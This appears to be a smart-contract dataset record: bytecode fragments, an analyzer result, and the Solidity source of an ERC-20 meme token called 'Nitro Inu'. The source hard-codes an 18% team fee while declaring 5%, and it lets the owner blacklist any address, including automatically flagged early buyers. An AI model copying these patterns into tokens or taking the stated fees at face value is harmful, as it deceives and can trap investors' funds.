50919291929050505061207f565b005b348015610ad657600080fd5b50610af5600480360381019080803590602001909291905050506120f5565b6040518082815260200191505060405180910390f35b348015610b1757600080fd5b50610b20612123565b6040518082815260200191505060405180910390f35b348015610b4257600080fd5b50610b4b612129565b604051808260ff1660ff16815260200191505060405180910390f35b6000806000841415610b7c5760009150610b9b565b8284029050828482811515610b8d57fe5b04141515610b9757fe5b8091505b5092915050565b6000808284811515610bb057fe5b0490508091505092915050565b6000808284019050838110151515610bd157fe5b8091505092915050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c715780601f10610c4657610100808354040283529160200191610c71565b820191906000526020600020905b815481529060010190602001808311610c5457829003601f168201915b505050505081565b6000600d548211151515610c8c57600080fd5b610cb6610cae6004600085815260200190815260200160002054612710610b67565b600254610ba2565b9050919050565b60046020528060005260406000206000915090505481565b600a81565b600c5481565b601281565b6000600d54905090565b6000600254905090565b600d5481565b6000803391506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610d5357600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e20573d6000803e3d6000fd5b507fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eec57600080fd5b600b54600d54101515610efe57600080fd5b8060046000600d54815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660036000600d54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060076000600d54815260200190815260200160002081905550600060056000600d548152602001908152602001600020819055506001600d5401600d81905550610fdb81600061212e565b50565b6000600d548211151515610ff157600080fd5b60046000838152602001908152602001600020549050919050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b60025481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d457600080fd5b80600e60006101000a81548160ff02191690831515021790555050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115057600080fd5b6000600f5411156112d057600191505b600d548210156112c75761119461118c600f546004600086815260200190815260200160002054610b67565b600254610ba2565b9050611212600660006003600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610bbd565b600660006003600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a5600760008481526020019081526020016000205482610bbd565b6007600084815260200190815260200160002081905550600182019150611160565b6000600f819055505b5050565b600581565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133557600080fd5b80600b8190555050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139d57600080fd5b3390506000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156113ee57600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561143c57600080fd5b611485600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361214d565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561150e573d6000803e3d6000fd5b507fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600080600080600080600080600d548a1115151561159b57600080fd5b600460008b81526020019081526020016000205434101515156115bd57600080fd5b600360008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561162b57600080fd5b61164161163a34600954610b67565b6064610ba2565b9750600560008b81526020019081526020016000205434039650611667600a5488610bbd565b600a8190555061168561167e88600a60ff16610b67565b6064610ba2565b955061169f61169888603260ff16610b67565b6064610ba2565b94506116be600760008c81526020019081526020016000205486610bbd565b600760008c8152602001908152602001600020819055506116f285600560008d815260200190815260200160002054610bbd565b945061170c61170588602860ff16610b67565b6064610ba2565b9350600e60009054906101000a900460ff16801561175657503373ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b1561189c5761177361176c88600560ff16610b67565b6064610ba2565b925061177f848461214d565b935060008973ffffffffffffffffffffffffffffffffffffffff16141561180e57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015611808573d6000803e3d6000fd5b5061189b565b611857600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610bbd565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600360008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915033905061191e600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486610bbd565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f193505050501580156119c9573d6000803e3d6000fd5b5080600360008c815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a2584612166565b611a2d6122d8565b34600560008c81526020019081526020016000208190555087600460008c815260200190815260200160002081905550611a7a88600560008d81526020019081526020016000205461212e565b7f61c83291d315cb9bb922298bc8e8c6546c556b78f795d536ffb3068c6c8b131733348c611ab4611aad34600954610b67565b6064610ba2565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a150505050505050505050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b7457600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1757600080fd5b80600e60016101000a81548160ff02191690831515021790555050565b600f5481565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611cd05780601f10611ca557610100808354040283529160200191611cd0565b820191906000526020600020905b815481529060010190602001808311611cb357829003601f168201915b505050505081565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d3457600080fd5b80600c8190555050565b600581565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d9f57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611e2e57600080fd5b8060046000848152602001908152602001600020819055505050565b3373ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611eb757600080fd5b816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15050565b6000600a54905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561201257600080fd5b806001908051906020019061202892919061245f565b5050565b602881565b6000600d54821115151561204457600080fd5b6003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120db57600080fd5b80600090805190602001906120f192919061245f565b5050565b6000600d54821115151561210857600080fd5b60076000838152602001908152602001600020549050919050565b600b5481565b603281565b61214360025461213e848461214d565b610bbd565b6002819055505050565b600082821115151561215b57fe5b818303905092915050565b600080600191505b600d548210156122d3576121a0612198846004600086815260200190815260200160002054610b67565b600254610ba2565b905061221e600660006003600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610bbd565b600660006003600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122b1600760008481526020019081526020016000205482610bbd565b600760008481526020019081526020016000208190555060018201915061216e565b505050565b6000806000600f54111561245b57600191505b600d548210156124525761231f612317600f546004600086815260200190815260200160002054610b67565b600254610ba2565b905061239d600660006003600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610bbd565b600660006003600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612430600760008481526020019081526020016000205482610bbd565b60076000848152602001908152602001600020819055506001820191506122eb565b6000600f819055505b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106124a057805160ff19168380011785556124ce565b828001600101855582156124ce579182015b828111156124cd5782518255916020019190600101906124b2565b5b5090506124db91906124df565b5090565b61250191905b808211156124fd5760008160009055506001016124e5565b5090565b905600a165627a7a72305820040fdfe90752caa72e79f943d639aaa6aa95033e2496a5f2e0f9a028758cdba00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,711 |
0x828f8679b53321b0bd301f21aa8aecde4873099f
|
/*
__ __ __ __
| \ | \| \ | \
| $$\ | $$ \$$ _| $$_ ______ ______
| $$$\| $$| \| $$ \ / \ / \
| $$$$\ $$| $$ \$$$$$$ | $$$$$$\| $$$$$$\
| $$\$$ $$| $$ | $$ __ | $$ \$$| $$ | $$
| $$ \$$$$| $$ | $$| \| $$ | $$__/ $$
| $$ \$$$| $$ \$$ $$| $$ \$$ $$
\$$ \$$ \$$ \$$$$ \$$ \$$$$$$
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NitroInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Nitro Inu";
string private constant _symbol = "Nitro";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (block.number <= launchBlock + 2 && amount == _maxTxAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 18);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf9146103c5578063cba0e996146103dc578063d00efb2f14610419578063d543dbeb14610444578063dd62ed3e1461046d578063e47d6060146104aa57610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063c3c8cd80146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e7565b60405161015c9190613316565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612e39565b610524565b60405161019991906132fb565b60405180910390f35b3480156101ae57600080fd5b506101b7610542565b6040516101c491906134b8565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612dea565b610553565b60405161020191906132fb565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612d5c565b61062c565b005b34801561023f57600080fd5b5061024861071c565b604051610255919061352d565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612eb6565b610725565b005b34801561029357600080fd5b5061029c6107d7565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612d5c565b610849565b6040516102d291906134b8565b60405180910390f35b3480156102e757600080fd5b506102f061089a565b005b3480156102fe57600080fd5b506103076109ed565b604051610314919061322d565b60405180910390f35b34801561032957600080fd5b50610332610a16565b60405161033f9190613316565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612e39565b610a53565b60405161037c91906132fb565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612e75565b610a71565b005b3480156103ba57600080fd5b506103c3610bc1565b005b3480156103d157600080fd5b506103da610c3b565b005b3480156103e857600080fd5b5061040360048036038101906103fe9190612d5c565b61119e565b60405161041091906132fb565b60405180910390f35b34801561042557600080fd5b5061042e6111f4565b60405161043b91906134b8565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612f08565b6111fa565b005b34801561047957600080fd5b50610494600480360381019061048f9190612dae565b611343565b6040516104a191906134b8565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612d5c565b6113ca565b6040516104de91906132fb565b60405180910390f35b60606040518060400160405280600981526020017f4e6974726f20496e750000000000000000000000000000000000000000000000815250905090565b6000610538610531611420565b8484611428565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105608484846115f3565b6106218461056c611420565b61061c85604051806060016040528060288152602001613bf160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d2611420565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120469092919063ffffffff16565b611428565b600190509392505050565b610634611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b8906133f8565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61072d611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b1906133f8565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610818611420565b73ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b6000479050610846816120aa565b50565b6000610893600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cb565b9050919050565b6108a2611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610926906133f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4e6974726f000000000000000000000000000000000000000000000000000000815250905090565b6000610a67610a60611420565b84846115f3565b6001905092915050565b610a79611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906133f8565b60405180910390fd5b60005b8151811015610bbd576001600a6000848481518110610b51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bb5906137ce565b915050610b09565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c02611420565b73ffffffffffffffffffffffffffffffffffffffff1614610c2257600080fd5b6000610c2d30610849565b9050610c3881612239565b50565b610c43611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900